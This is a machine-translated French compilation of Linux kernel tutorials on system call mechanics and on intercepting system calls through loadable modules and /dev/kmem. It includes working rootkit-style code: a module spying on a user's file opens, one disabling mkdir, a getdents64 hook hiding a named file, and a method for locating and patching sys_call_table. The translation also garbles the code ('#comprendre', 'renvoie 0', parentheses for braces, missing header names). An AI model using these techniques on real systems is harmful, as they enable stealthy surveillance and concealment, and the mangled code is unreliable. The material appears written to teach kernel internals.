Compilez et exécutez le programme ci-dessus. Essayons de désassembler le code résultant : F [courriel protégé]:~/tmp$ objdump --disassemble ./test.dump ./test.dump : format de fichier elf32-i386 Désassemblage de la section .text : ffffe400<__kernel_vsyscall>: ffffe400 : 51 push %ecx ffffe401 : 52 push %edx ffffe402 : 55 push %ebp ffffe403 : 89 e5 mov %esp,%ebp ffffe405 : 0f 34 sysenter ... ffffe40e : eb f3 jmp ffffe403<__kernel_vsyscall+0x3>ffffe410 : 5d pop %ebp ffffe411 : 5a pop %edx ffffe412 : 59 pop %ecx ffffe413 : c3 ret ... [courriel protégé]:~/tmp$ Ici, c'est notre passerelle pour les appels système, le tout en pleine vue. Le processus (ou la bibliothèque système libc), appelant la fonction __kernel_vsyscall, arrive à l'adresse 0хffffe400 (dans notre cas). De plus, __kernel_vsyscall enregistre le contenu des registres ecx, edx, ebp sur la pile du processus utilisateur.Nous avons déjà parlé du but des registres ecx et edx plus tôt, dans ebp il est utilisé plus tard pour restaurer la pile utilisateur. L'instruction sysenter est exécutée, "interceptant l'interruption" et, par conséquent, la transition suivante vers sysenter_entry (voir ci-dessus). L'instruction jmp à 0xffffe40e est insérée pour redémarrer l'appel système avec 6 arguments (voir http://lkml.org/lkml/2002/12/18/). Le code placé sur la page se trouve dans le fichier arch/i386/kernel/vsyscall-enter.S (ou arch/i386/kernel/vsyscall-int80.S pour le hook 0x80). Bien que j'ai trouvé que l'adresse de la fonction __kernel_vsyscall est constante, mais il y a une opinion que ce n'est pas le cas. Habituellement, la position du point d'entrée dans __kernel_vsyscall() peut être trouvée à partir du vecteur ELF-auxv en utilisant le paramètre AT_SYSINFO. Le vecteur ELF-auxv contient des informations transmises au processus via la pile au démarrage et contient diverses informations nécessaires lors de l'exécution du programme. Ce vecteur contient spécifiquement les variables d'environnement, les arguments, etc. du processus.

Voici un petit exemple en C montrant comment appeler directement la fonction __kernel_vsyscall : #comprendre int pid; int main() ( __asm ​​​​("movl $20, %eax \n" "call *%gs:0x10 \n" "movl %eax, pid \n"); printf ("pid: %d\n", pid) ; renvoie 0 ; ) Cet exemple est tiré de la page Manu Garg, http://www.manugarg.com . Ainsi, dans l'exemple ci-dessus, nous effectuons l'appel système getpid() (numéro 20 ou sinon __NR_getpid). Afin de ne pas grimper dans la pile du processus à la recherche de la variable AT_SYSINFO, nous utiliserons le fait que la bibliothèque système libc.so copie la valeur de la variable AT_SYSINFO dans le Thread Control Block (TCB) lors du chargement. Ce bloc d'informations est typiquement référencé par un sélecteur en gs. Nous supposons que le paramètre souhaité est situé à l'offset 0x10 et appelons l'adresse stockée dans %gs:$0x10.

Résultats.

En fait, dans la pratique, il n'est pas toujours possible d'obtenir une augmentation spéciale des performances même avec le support FSCF (Fast System Call Facility) sur cette plate-forme. Le problème est que d'une manière ou d'une autre, le processus accède rarement directement au noyau. Et il y a de bonnes raisons à cela. L'utilisation de la bibliothèque libc permet de garantir la portabilité du programme, quelle que soit la version du noyau. Et c'est par la bibliothèque système standard que passent la plupart des appels système. Même si vous construisez et installez le dernier noyau compilé pour une plate-forme qui prend en charge FSCF, ce n'est pas une garantie de gains de performances. Le fait est que votre bibliothèque système libc.so utilisera toujours int 0x80 et ne pourra être traitée qu'en reconstruisant glibc. Que l'interface VDSO et __kernel_vsyscall soient généralement pris en charge dans la glibc, j'ai franchement du mal à répondre pour le moment.

Liens.

La page de Manu Garg, http://www.manugarg.com
Scatter/Rassembler les pensées par Johan Petersson, http://www.trilithium.com/johan/2005/08/linux-gate/
Bon vieux Comprendre le noyau Linux Où sans lui :)
Et bien sûr, les sources Linux (2.6.22)


Appels système

Jusqu'à présent, tous les programmes que nous avons créés devaient utiliser des mécanismes de noyau bien définis pour enregistrer les fichiers /proc et les pilotes de périphériques. C'est très bien si vous voulez faire quelque chose déjà fourni par les programmeurs du noyau, comme écrire un pilote de périphérique. Mais que se passe-t-il si vous voulez faire quelque chose de fantaisiste, modifier le comportement du système d'une manière ou d'une autre ?

C'est exactement là que la programmation du noyau devient dangereuse. En écrivant l'exemple ci-dessous, j'ai détruit l'appel système ouvert. Cela signifiait que je ne pouvais ouvrir aucun fichier, exécuter aucun programme et éteindre le système avec la commande shutdown. Je dois couper le courant pour l'arrêter. Heureusement, aucun fichier n'a été détruit. Pour vous assurer de ne perdre aucun fichier non plus, veuillez effectuer une synchronisation avant d'exécuter les commandes insmod et rmmod.

Oubliez les fichiers /proc et les fichiers de périphérique. Ce ne sont que de petits détails. Le véritable processus de communication du noyau utilisé par tous les processus est les appels système. Lorsqu'un processus demande un service au noyau (comme l'ouverture d'un fichier, le démarrage d'un nouveau processus ou la demande de plus de mémoire), ce mécanisme est utilisé. Si vous souhaitez modifier le comportement du noyau de manière intéressante, vous êtes au bon endroit. Au fait, si vous voulez voir quels appels système un programme a utilisés, exécutez : strace .

En général, un processus ne peut pas accéder au noyau. Il ne peut pas accéder à la mémoire du noyau et ne peut pas appeler les fonctions du noyau. Le matériel du processeur rend obligatoire cet état de choses (il est appelé "mode protégé" pour une raison). Les appels système sont une exception à cette règle générale. Le processus remplit les registres avec les valeurs appropriées, puis appelle une instruction spéciale qui saute à un emplacement prédéfini dans le noyau (bien sûr, il est lu par les processus utilisateur, mais pas écrasé par eux.) Sous les processeurs Intel, cela se fait via l'interruption 0x80. Le matériel sait qu'une fois que vous accédez à cet emplacement, vous n'exécutez plus en mode utilisateur restreint. Au lieu de cela, vous exécutez en tant que noyau du système d'exploitation, et vous êtes donc autorisé à faire ce que vous voulez faire.

L'endroit du noyau auquel un processus peut accéder s'appelle system_call . La procédure qui y réside vérifie le numéro d'appel système, qui indique exactement au noyau ce que le processus veut. Ensuite, il consulte la table des appels système (sys_call_table) pour trouver l'adresse de la fonction noyau à appeler. Ensuite, la fonction souhaitée est appelée et après avoir renvoyé une valeur, plusieurs vérifications sont effectuées sur le système. Le résultat est ensuite renvoyé au processus (ou à un autre processus si le processus s'est terminé). Si vous voulez voir le code qui fait tout cela, c'est dans le fichier source arch/< architecture >/kernel/entry.S , après la ligne ENTRY(system_call).

Donc, si nous voulons changer le fonctionnement de certains appels système, la première chose que nous devons faire est d'écrire notre propre fonction pour faire la chose appropriée (généralement en ajoutant une partie de notre propre code puis en appelant la fonction d'origine), puis changez le pointeur à sys_call_table pour pointer vers notre fonction. Étant donné que nous pourrions être supprimés plus tard et que nous ne voulons pas laisser le système dans un état volatil, il est important que cleanup_module restaure la table à son état d'origine.

Le code source fourni ici est un exemple d'un tel module. Nous voulons "espionner" un utilisateur et envoyer un message via printk chaque fois que cet utilisateur ouvre un fichier. Nous remplaçons l'appel système d'ouverture de fichier par notre propre fonction appelée our_sys_open . Cette fonction vérifie l'uid (user id) du processus en cours, et s'il est égal à l'uid que nous espionnons, appelle printk pour afficher le nom du fichier à ouvrir. Il appelle ensuite la fonction d'ouverture d'origine avec les mêmes paramètres, ouvrant en fait le fichier.

La fonction init_module modifie l'emplacement approprié dans sys_call_table et stocke le pointeur d'origine dans une variable. La fonction cleanup_module utilise cette variable pour tout restaurer à la normale. Cette approche est dangereuse, en raison de la possibilité que deux modules modifient le même appel système. Imaginez que nous ayons deux modules, A et B. L'appel système ouvert du module A s'appellera A_open, et le même appel du module B s'appellera B_open. Maintenant que le syscall injecté par le noyau a été remplacé par A_open, qui appellera le sys_open d'origine lorsqu'il aura fait ce qu'il doit faire. Ensuite, B s'insérera dans le noyau et remplacera l'appel système par B_open, qui invoquera ce qu'il pense être l'appel système d'origine, mais qui est en fait A_open.

Maintenant, si B est supprimé en premier, tout ira bien : cela restaurera simplement l'appel système sur A_open qui appelle l'original. Cependant, si A est supprimé puis B est supprimé, le système s'effondrera. La suppression de A restaurera l'appel système à l'original, sys_open, coupant B de la boucle. Ensuite, lorsque B sera supprimé, il restaurera l'appel système à ce qu'il pense être l'original.En fait, l'appel sera dirigé vers A_open, qui n'est plus en mémoire. À première vue, il semble que nous pourrions résoudre ce problème particulier en vérifiant si l'appel système est égal à notre fonction ouverte et, si c'est le cas, en ne modifiant pas la valeur de cet appel (afin que B ne modifie pas l'appel système lorsqu'il est supprimé), mais cela appellerait toujours le pire problème. Lorsque A est supprimé, il voit que l'appel système a été modifié en B_open afin qu'il ne pointe plus vers A_open, il ne restaurera donc pas le pointeur vers sys_open avant d'être supprimé de la mémoire. Malheureusement, B_open essaiera toujours d'appeler A_open, qui n'est plus en mémoire, donc même sans supprimer B, le système plantera toujours.

Je vois deux façons d'éviter ce problème. Tout d'abord : restaurez l'appel à la valeur d'origine de sys_open. Malheureusement, sys_open ne fait pas partie de la table du noyau du système dans /proc/ksyms , nous ne pouvons donc pas y accéder. Une autre solution consiste à utiliser un compteur de liens pour empêcher le déchargement du module. C'est bon pour les modules réguliers, mais mauvais pour les modules "éducatifs".

/* syscall.c * * Exemple de "vol" d'appel système */ /* Copyright (C) 1998-99 par Ori Pomerantz */ /* Les fichiers d'en-tête nécessaires */ /* Standard dans les modules du noyau */ #include /* Nous travaillons sur le noyau */ #include /* Spécifiquement, un module */ /* Traiter avec CONFIG_MODVERSIONS */ #if CONFIG_MODVERSIONS==1 #define MODVERSIONS #include #endif #inclure /* La liste des appels système */ /* Pour la structure actuelle (processus), nous avons besoin * de ceci pour savoir qui est l'utilisateur actuel. */ #comprendre /* Dans 2.2.3 /usr/include/linux/version.h inclut une * macro pour cela, mais pas 2.0.35 - donc je l'ajoute * ici si nécessaire. */ #ifndef KERNEL_VERSION #define KERNEL_VERSION(a ,b,c) ((a)*65536+(b)*256+(c)) #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) #include #endif /* La table des appels système (une table des fonctions). Nous * le définissons simplement comme externe, et le noyau le * remplira pour nous lorsque nous serons insmod"és */ extern void *sys_call_table; /* UID que nous voulons espionner - sera rempli à partir de la * ligne de commande */ int uid ; #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) MODULE_PARM(uid, "i"); #endif /* Un pointeur vers l'appel système d'origine. La raison * pour laquelle nous gardons ceci, plutôt que d'appeler la fonction d'origine * (sys_open), c'est parce que quelqu'un d'autre a peut-être * remplacé l'appel système avant nous, la fonction dans ce module - et elle * peut être supprimée avant nous. * C'est une variable statique, elle n'est donc pas exportée. */ asmlinkage int (*original_call)(const char *, int, int); /* Pour une raison quelconque, dans 2.2.3 current->uid m'a donné * zéro, pas le véritable ID utilisateur. J'ai essayé de trouver ce qui n'allait * pas, mais je n'ai pas pu le faire en peu de temps, et * je suis paresseux - donc je vais simplement utiliser l'appel système pour obtenir le * uid, le comme le ferait un processus. * * Pour une raison quelconque, après avoir recompilé le noyau, ce * problème a disparu. */ asmlinkage entier (*getuid_call)(); /* La fonction par laquelle nous "remplacerons sys_open (la fonction * appelée lorsque vous appelez l'appel système ouvert). Pour * trouver le prototype exact, avec le nombre et le type * d'arguments, nous trouvons d'abord la fonction d'origine * (elle" s sur fs/open.c). * * En théorie, cela signifie que nous sommes liés à la * version actuelle du noyau. En pratique, les * appels système ne changent presque jamais (cela ferait des ravages * et nécessiterait la recompilation des programmes, car les appels système * sont l'interface entre le noyau et les * processus).*/ asmlinkage int our_sys_open(const char *filename, int flags, int mode) ( int i = 0; char ch; /* Vérifier si c'est l'utilisateur que nous espionnons */ if (uid == getuid_call()) ( /* getuid_call est l'appel système getuid, * qui donne l'uid de l'utilisateur qui * a exécuté le processus qui a appelé l'appel système * que nous avons obtenu */ /* Signale le fichier, si pertinent */ printk("Fichier ouvert par %d : ", uid); do ( #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) get_user(ch, filename+i); #else ch = get_user(filename+ i ); #endif i++; printk("%c", ch); ) while (ch != 0); printk("\n"); ) /* Appelle le sys_open d'origine - sinon, nous perdons * la possibilité d'ouvrir files */ return original_call(filename, flags, mode); ) /* Initialisez le module - remplacez l'appel système */ int init_module() ( /* Attention - trop tard pour cela maintenant, mais peut-être pour * la prochaine fois. .. */ printk("Je"suis dangereux. J'espère que tu as fait un "); printk("synchroniser avant de m'insmoder.\n"); printk("Mon homologue, cleanup_module(), est pair"); printk("plus dangereux. Si\n"); printk("vous tenez à votre système de fichiers, il le fera"); printk("être \"sync; rmmod\" \n"); printk("lorsque vous supprimez ce module.\n"); /* Conserve un pointeur vers la fonction d'origine dans * original_call, puis remplace l'appel système * dans la table des appels système par our_sys_open */ original_call = sys_call_table[__NR_open]; sys_call_table[__NR_open] = our_sys_open ; /* Pour obtenir l'adresse de la fonction pour l'appel système * foo, accédez à sys_call_table[__NR_foo]. */ printk("Espionner l'UID :%d\n", uid); /* Récupère l'appel système pour getuid */ getuid_call = sys_call_table[__NR_getuid]; renvoie 0 ; ) /* Nettoyer - désenregistrer le fichier approprié de /proc */ void cleanup_module() ( /* Rétablir l'appel système normal */ if (sys_call_table[__NR_open] != our_sys_open) ( printk("Quelqu'un d'autre a également joué avec le "); printk("ouvrir l'appel système\n"); printk("Le système peut être laissé dans "); printk("un état instable.\n"); ) sys_call_table[__NR_open] = original_call; )

Ce matériel est une modification de l'article du même nom de Vladimir Meshkov, publié dans la revue "System Administrator"

Ce matériel est une copie des articles de Vladimir Meshkov du magazine "System Administrator". Ces articles sont disponibles sur les liens ci-dessous. En outre, certains exemples de textes sources de programmes ont été modifiés - améliorés, finalisés. (L'exemple 4.2 a été fortement modifié, car un appel système légèrement différent devait être intercepté) URL : http://www.samag.ru/img/uploaded/p.pdf http://www.samag.ru/img/ uploadé/a3.pdf

Avoir des questions? Alors vous êtes ici : [courriel protégé]

  • 2. Module de noyau chargeable
  • 4. Exemples d'interception d'appels système basés sur LKM
    • 4.1 Désactiver la création de répertoire

1. Vue générale de l'architecture Linux

La vue la plus générale nous permet de voir un modèle à deux niveaux du système. noyau<=>progs Au centre (à gauche) se trouve le noyau du système. Le noyau interagit directement avec le matériel informatique, isolant les programmes d'application des fonctionnalités architecturales. Le noyau dispose d'un ensemble de services fournis aux programmes d'application. Les services du noyau incluent les opérations d'E/S (ouverture, lecture, écriture et gestion des fichiers), la création et la gestion des processus, leur synchronisation et la communication interprocessus. Toutes les applications demandent les services du noyau via des appels système.

Le deuxième niveau est composé d'applications ou de tâches, à la fois celles du système, qui déterminent la fonctionnalité du système, et celles de l'application, qui fournissent l'interface utilisateur Linux. Cependant, malgré l'hétérogénéité externe des applications, les schémas d'interaction avec le cœur sont les mêmes.

L'interaction avec le noyau se produit via l'interface d'appel système standard. L'interface d'appel système est un ensemble de services du noyau et définit le format des demandes de services. Un processus demande un service en effectuant un appel système à une procédure spécifique du noyau, qui ressemble à un appel de fonction de bibliothèque ordinaire. Le noyau exécute la demande au nom du processus et renvoie les données requises au processus.

Dans l'exemple ci-dessus, le programme ouvre un fichier, en lit les données et ferme le fichier. Dans ce cas, l'opération d'ouverture (open), de lecture (read) et de fermeture (close) d'un fichier est effectuée par le noyau à la demande de la tâche, et les opérations open (2), read (2) et close (2 ) les fonctions sont des appels système.

/* Source 1.0 */ #include main () ( int fd; char buf; /* Ouvrir le fichier - obtenir un lien (descripteur de fichier) fd */ fd = open("file1",O_RDONLY); /* Lire 80 caractères dans le tampon buf */ read( fd, buf , sizeof(buf)); /* Ferme le fichier */ close(fd); ) /* EOF */ Une liste complète des appels système OS Linux peut être trouvée dans /usr/include/asm/unistd.h . Examinons maintenant le mécanisme permettant d'effectuer des appels système dans cet exemple. Le compilateur, ayant rencontré la fonction open() pour ouvrir un fichier, le convertit en code assembleur, chargeant le numéro d'appel système correspondant à cette fonction et ses paramètres dans les registres du processeur puis appelant l'interruption 0x80. Les valeurs suivantes sont chargées dans les registres du processeur :

  • au registre EAX - le numéro de l'appel système. Ainsi, pour notre cas, le numéro d'appel système est le 5 (voir __NR_open).
  • au registre EBX - le premier paramètre de la fonction (pour open() c'est un pointeur vers une chaîne contenant le nom du fichier en cours d'ouverture.
  • au registre ECX - le deuxième paramètre (droits d'accès au fichier)
Le troisième paramètre est chargé dans le registre EDX, dans ce cas nous ne l'avons pas. Pour effectuer un appel système sous OS Linux, la fonction system_call est utilisée, qui est définie (selon l'architecture dans ce cas i386) dans le fichier /usr/src/linux/arch/i386/kernel/entry.S. Cette fonction est le point d'entrée de tous les appels système. Le noyau répond à l'interruption 0x80 en appelant la fonction system_call, qui est essentiellement le gestionnaire d'interruption 0x80.

Pour nous assurer que nous sommes sur la bonne voie, examinons le code de la fonction open() dans la bibliothèque système libc :

# gdb -q /lib/libc.so.6 (gdb) disas open Vidage du code assembleur pour la fonction open : 0x000c8080 : appelez 0x1082be< __i686.get_pc_thunk.cx >0x000c8085 : ajouter $0x6423b,%ecx 0x000c808b : cmpl $0x0.0x1a84(%ecx) 0x000c8092 : jne 0xc80b1 0x000c8094 : poussez %ebx 0x000c8095 : mov 0x10(%esp,1),%edx 0x000c8099 : mov 0xc(%esp,1),%ecx 0x000c809d : mov 0x8(%esp,1),%ebx 0x000c80a1 : mov $0x5,%eax 0x000c80a6 : int $0x80 ... Comme vous pouvez le voir dans les dernières lignes, les paramètres sont passés aux registres EDX, ECX, EBX, et le numéro d'appel système, comme nous le savons déjà, 5, est mis dans le dernier registre EAX.

Revenons maintenant au mécanisme d'appel système. Ainsi, le noyau appelle le gestionnaire d'interruptions 0x80 - la fonction system_call. System_call pousse des copies des registres contenant les paramètres d'appel sur la pile à l'aide de la macro SAVE_ALL et appelle la fonction système souhaitée avec la commande call. La table des pointeurs vers les fonctions du noyau qui implémentent les appels système est située dans le tableau sys_call_table (voir fichier arch/i386/kernel/entry.S). Le numéro d'appel système qui réside dans le registre EAX est l'index dans ce tableau. Ainsi, si EAX contient la valeur 5, la fonction noyau sys_open() sera appelée. Pourquoi la macro SAVE_ALL est-elle nécessaire ? L'explication ici est très simple. Puisque presque toutes les fonctions système du noyau sont écrites en C, elles recherchent leurs paramètres sur la pile. Et les paramètres sont poussés sur la pile avec SAVE_ALL ! La valeur de retour de l'appel système est stockée dans le registre EAX.

Voyons maintenant comment intercepter l'appel système. Le mécanisme des modules de noyau chargeables nous y aidera.

2. Module de noyau chargeable

Loadable Kernel Module (LKM - Loadable Kernel Module) est un code qui s'exécute dans l'espace du noyau. La principale caractéristique de LKM est la capacité de charger et de décharger dynamiquement sans avoir besoin de redémarrer l'ensemble du système ou de recompiler le noyau.

Chaque LKM se compose de deux fonctions principales (minimum) :

  • fonction d'initialisation du module. Appelé lorsque LKM est chargé en mémoire : int init_module(void) ( ... )
  • fonction de déchargement du module : void cleanup_module(void) ( ... )
Voici un exemple du module le plus simple : /* Source 2.0 */ #include int init_module(void) ( printk("Hello World\n"); return 0; ) void cleanup_module(void) ( printk("Bye\n"); ) /* EOF */ Compiler et charger le module. Le chargement d'un module en mémoire se fait avec la commande insmod, et la visualisation des modules chargés avec la commande lsmod : # gcc -c -DMODULE -I /usr/src/linux/include/ src-2.0.c # insmod src-2.0.o Attention : le chargement de src-2.0 .o corrompra le noyau : pas de licence Module src-2.0 chargé, avec avertissements # dmesg | tail -n 1 Bonjour le monde # lsmod | grep src src-2.0 336 0 (inutilisé) # rmmod src-2.0 # dmesg | queue -n 1 Au revoir

3. Algorithme d'interception d'un appel système basé sur LKM

Pour implémenter un module qui intercepte un appel système, il est nécessaire de définir un algorithme d'interception. L'algorithme est le suivant :
  • enregistrer un pointeur vers l'appel d'origine (original) afin qu'il puisse être restauré
  • créer une fonction qui implémente le nouvel appel système
  • remplacer les appels dans la table des appels système sys_call_table, c'est-à-dire définir le pointeur correspondant sur un nouvel appel système
  • en fin de travail (lorsque le module est déchargé), restaurer l'appel système d'origine à l'aide du pointeur précédemment enregistré
Le traçage vous permet de savoir quels appels système sont impliqués dans le fonctionnement de l'application utilisateur. Le traçage permet de déterminer quel appel système doit être intercepté pour prendre le contrôle de l'application. # ltrace -S ./src-1.0 ... open("fichier1", 0, 01 SYS_open("fichier1", 0, 01) = 3<... open resumed>) = 3 lu(3, SYS_read(3, "123\n", 80) = 4<... read resumed>"123\n", 80) = 4 fermer(3 SYS_close(3) = 0<... close resumed>) = 0 ... Nous avons maintenant suffisamment d'informations pour commencer à étudier des exemples d'implémentations de modules qui interceptent les appels système.

4. Exemples d'interception d'appels système basés sur LKM

4.1 Désactiver la création de répertoire

Lorsqu'un répertoire est créé, la fonction noyau sys_mkdir est appelée. Le paramètre est une chaîne contenant le nom du répertoire à créer. Considérez le code qui intercepte l'appel système correspondant. /* Source 4.1 */ #include #comprendre #comprendre /* Exporte la table des appels système */ extern void *sys_call_table; /* Définit un pointeur pour stocker l'appel d'origine */ int (*orig_mkdir)(const char *path); /* Crée notre propre appel système. Notre appel ne fait rien, renvoie simplement null */ int own_mkdir(const char *path) ( return 0; ) /* Lors de l'initialisation du module, enregistrez le pointeur vers l'appel d'origine et remplacez l'appel système */ int init_module(void) ( orig_mkdir =sys_call_table; sys_call_table=own_mkdir; printk("sys_mkdir remplacé\n"); return(0); ) /* Lors du déchargement, restaurer l'appel d'origine */ void cleanup_module(void) ( sys_call_table=orig_mkdir; printk("sys_mkdir déplacé en arrière \n "); ) /* EOF */ Pour obtenir le module objet, exécutez la commande suivante et effectuez quelques expériences sur le système : # gcc -c -DMODULE -I/usr/src/linux/include/ src-3.1. c # dmesg | tail -n 1 sys_mkdir remplacé # mkdir test # ls -ald test ls: test : Aucun fichier ou répertoire de ce type # rmmod src-3.1 # dmesg | tail -n 1 sys_mkdir reculé # mkdir test # ls -ald test drwxr-xr-x 2 root root 4096 2003-12-23 03:46 test Comme vous pouvez le constater, la commande "mkdir" ne fonctionne pas, ou plutôt rien arrive. Le déchargement du module est suffisant pour restaurer la fonctionnalité du système. Ce qui a été fait plus haut.

4.2 Masquer une entrée de fichier dans un répertoire

Déterminons quel appel système est responsable de la lecture du contenu du répertoire. Pour ce faire, nous allons écrire un autre fragment de test qui lit le répertoire courant : /* Source 4.2.1 */ #include #comprendre int main() ( DIR *d; struct dirent *dp; d = opendir("."); dp = readdir(d); return 0; ) /* EOF */ Récupère l'exécutable et trace : # gcc -o src -3.2.1 src-3.2.1.c # ltrace -S ./src-3.2.1 ... opendir("." SYS_OPEN (".", 100352, 010005141300) = 3 SYS_FSTAT64 (3, 0XBFFFFF79C, 0x4014C2C0, 3, 0xBFFFF874) = 0 SYS_FCNTL64 (3, 2, 1, 0x4014C2C0) = 0x0806a5f4 SYS_brk(NULL) = 0x0806a5f4 SYS_brk(0x0806b000) = 0x0806b000<... opendir resumed>) = 0x08049648 readdir(0x08049648 SYS_getdents64(3, 0x08049678, 4096, 0x40014400, 0x4014c2c0) = 528<... readdir resumed>) = 0x08049678 ... Faites attention à la dernière ligne. Le contenu du répertoire est lu par la fonction getdents64 (getdents est possible dans d'autres noyaux). Le résultat est stocké sous la forme d'une liste de structures de type struct dirent, et la fonction elle-même renvoie la longueur de toutes les entrées du répertoire. Nous nous intéressons à deux domaines de cette structure :
  • d_reclen - taille d'enregistrement
  • d_name - nom du fichier
Pour masquer un enregistrement de fichier sur un fichier (en d'autres termes, le rendre invisible), vous devez intercepter l'appel système sys_getdents64, rechercher l'entrée correspondante dans la liste des structures reçues et la supprimer. Considérez le code qui effectue cette opération (l'auteur du code original est Michal Zalewski) : /* Source 4.2.2 */ #include #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre vide externe *sys_call_table ; int (*orig_getdents)(u_int fd, struct dirent *dirp, u_int count); /* Définir notre appel système */ int own_getdents(u_int fd, struct dirent *dirp, u_int count) ( unsigned int tmp, n; int t; struct dirent64 ( int d_ino1,d_ino2; int d_off1,d_off2; unsigned short d_reclen; unsigned char d_type; char d_name; ) *dirp2, *dirp3; /* Le nom du fichier que nous voulons cacher */ char hide = "file1"; /* Déterminer la longueur des entrées dans le répertoire */ tmp = (*orig_getdents )(fd,dirp ,count); if (tmp>0) ( /* Allouer de la mémoire pour la structure de l'espace noyau et y copier le contenu du répertoire */ dirp2 = (struct dirent64 *)kmalloc(tmp,GFP_KERNEL) ; copy_from_user(dirp2,dirp,tmp) ; /* Invoquer la deuxième structure et enregistrer la valeur de la longueur des entrées dans le répertoire */ dirp3 = dirp2; t = tmp; /* Commencer à chercher notre fichier */ while (t >0) ( /* Lit la longueur de la première entrée et détermine la longueur restante des entrées dans le répertoire */ n = dirp3->d_reclen; t -= n; /* Vérifie si le nom de fichier de l'entrée actuelle correspond à celui nous recherchons */ if (strstr((char *)&(dirp3->d_name), (char *)&hide) != NULL) ( /* Si c'est le cas, écrasez l'entrée et calculez une nouvelle valeur pour la longueur des entrées dans le répertoire */ memcpy(dirp3, (char *)dirp3+dirp3->d_reclen, t) ; tmp-=n ; ) /* Positionne le pointeur sur l'entrée suivante et continue la recherche */ dirp3 = (struct dirent64 *)((char *)dirp3+dirp3->d_reclen); ) /* Retourne le résultat et libère de la mémoire */ copy_to_user(dirp,dirp2,tmp); libre(dirp2); ) /* Retourne la valeur de la longueur des entrées du répertoire */ return tmp; ) /* Les fonctions d'initialisation et de déchargement du module ont une forme standard */ int init_module(void) ( orig_getdents = sys_call_table; sys_call_table=own_getdents; return 0; ) void cleanup_module() ( sys_call_table=orig_getdents; ) /* EOF */ Après avoir compilé ceci code, remarquez comment "file1" disparaît, ce que nous voulions prouver.

5. Méthode d'accès direct à l'espace d'adressage du noyau /dev/kmem

Considérons d'abord théoriquement comment l'interception est effectuée par la méthode d'accès direct à l'espace d'adressage du noyau, puis procédons à la mise en œuvre pratique.

L'accès direct à l'espace d'adressage du noyau est fourni par le fichier de périphérique /dev/kmem. Ce fichier affiche tout l'espace d'adressage virtuel disponible, y compris la partition d'échange (swap-area). Pour travailler avec un fichier kmem, des fonctions système standard sont utilisées - open(), read(), write(). En ouvrant /dev/kmem de manière standard, nous pouvons faire référence à n'importe quelle adresse du système en la définissant comme un décalage dans ce fichier. Cette méthode a été développée par Silvio Cesare.

Les fonctions système sont accessibles en chargeant les paramètres de fonction dans les registres du processeur, puis en appelant l'interruption logicielle 0x80. Le gestionnaire de cette interruption, la fonction system_call, pousse les paramètres d'appel sur la pile, récupère l'adresse de la fonction système appelée à partir de la table sys_call_table et transfère le contrôle à cette adresse.

Avec un accès complet à l'espace d'adressage du noyau, nous pouvons obtenir tout le contenu de la table des appels système, c'est-à-dire adresses de toutes les fonctions du système. En changeant l'adresse de tout appel système, nous l'interceptons ainsi. Mais pour cela, vous devez connaître l'adresse de la table, ou, en d'autres termes, le décalage dans le fichier /dev/kmem où se trouve cette table.

Pour déterminer l'adresse de la table sys_call_table, vous devez d'abord calculer l'adresse de la fonction system_call. Puisque cette fonction est un gestionnaire d'interruptions, regardons comment les interruptions sont gérées en mode protégé.

En mode réel, lors de l'enregistrement d'une interruption, le processeur accède à la table des vecteurs d'interruption, qui se trouve toujours au tout début de la mémoire et contient les adresses à deux mots des gestionnaires d'interruption. En mode protégé, l'analogue de la table des vecteurs d'interruption est la table des descripteurs d'interruption (IDT), située dans le système d'exploitation en mode protégé. Pour que le processeur accède à cette table, son adresse doit être chargée dans le registre de la table des descripteurs d'interruption (IDTR). La table IDT contient des descripteurs de gestionnaire d'interruption, qui, en particulier, incluent leurs adresses. Ces descripteurs sont appelés passerelles (gates). Le processeur, ayant enregistré une interruption, récupère la passerelle de l'IDT par son numéro, détermine l'adresse du gestionnaire et lui transfère le contrôle.

Pour calculer l'adresse de la fonction system_call à partir de la table IDT, il est nécessaire d'extraire la porte d'interruption int $0x80, et de celle-ci l'adresse du gestionnaire correspondant, c'est-à-dire adresse de la fonction system_call. Dans la fonction system_call, la table system_call_table est accessible par la commande call<адрес_таблицы>(,%eax,4). Après avoir trouvé l'opcode (signature) de cette commande dans le fichier /dev/kmem, nous trouverons également l'adresse de la table des appels système.

Pour déterminer l'opcode, utilisons le débogueur et démontons la fonction system_call :

# gdb -q /usr/src/linux/vmlinux (gdb) disas system_call Vidage du code assembleur pour la fonction system_call : 0xc0194cbc : poussez %eax 0xc0194cbd : cld 0xc0194cbe : appuyez sur %es 0xc0194cbf : pousser %ds 0xc0194cc0 : appuyez sur %eax 0xc0194cc1 : poussez %ebp 0xc0194cc2 : poussez %edi 0xc0194cc3 : appuyez sur %esi 0xc0194cc4 : appuyez sur %edx 0xc0194cc5 : poussez %ecx 0xc0194cc6 : poussez %ebx 0xc0194cc7 : mov $0x18,%edx 0xc0194ccc : mov %edx,%ds 0xc0194cce : mov %edx,%es 0xc0194cd0 : mov $0xffffe000,%ebx 0xc0194cd5 : et %esp,%ebx 0xc0194cd7 : testb $0x2.0x18(%ebx) 0xc0194cdb : jne 0xc0194d3c 0xc0194cdd : cmp $0x10e,%eax 0xc0194ce2 : jae 0xc0194d69 0xc0194ce8 : appel *0xc02cbb0c(,%eax,4) 0xc0194cef : mov %eax,0x18(%esp,1) 0xc0194cf3 : non Fin du dump de l'assembleur. La ligne "call *0xc02cbb0c(,%eax,4)" est un appel à la table sys_call_table. La valeur 0xc02cbb0c est l'adresse de la table (vos numéros seront très probablement différents). Obtenez l'opcode de cette commande : (gdb) x/xw system_call+44 0xc0194ce8 : 0x0c8514ff Nous avons trouvé l'opcode de la commande sys_call_table. Il est égal à \xff\x14\x85. Les 4 octets qui le suivent sont l'adresse de la table. Vous pouvez le vérifier en saisissant la commande : (gdb) x/xw system_call+44+3 0xc0194ceb : 0xc02cbb0c Ainsi, en trouvant la séquence \xff\x14\x85 dans le fichier /dev/kmem et en lisant les 4 octets qui la suivent, on obtient l'adresse de la table d'appel système sys_call_table. Connaissant son adresse, nous pouvons obtenir le contenu de cette table (les adresses de toutes les fonctions système) et modifier l'adresse de tout appel système en l'interceptant.

Considérez le pseudocode qui effectue l'opération d'interception :

